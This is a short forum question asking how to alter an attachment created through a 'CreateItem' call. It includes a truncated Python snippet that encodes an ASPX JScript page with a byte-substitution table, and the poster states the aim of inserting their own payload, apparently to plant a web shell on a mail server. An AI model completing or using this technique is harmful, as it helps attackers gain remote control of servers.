CreateItem Content encode\decode function

[solotoolkit]

hi how can change content of attachment?

mpbbCrypt = [65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, …] encode_table = bytes.maketrans((bytearray(mpbbCrypt), bytearray(range(256))) '<%@ Page Language="Jscript"%>…'.translate(encode_table)

I want put my own payload to attachment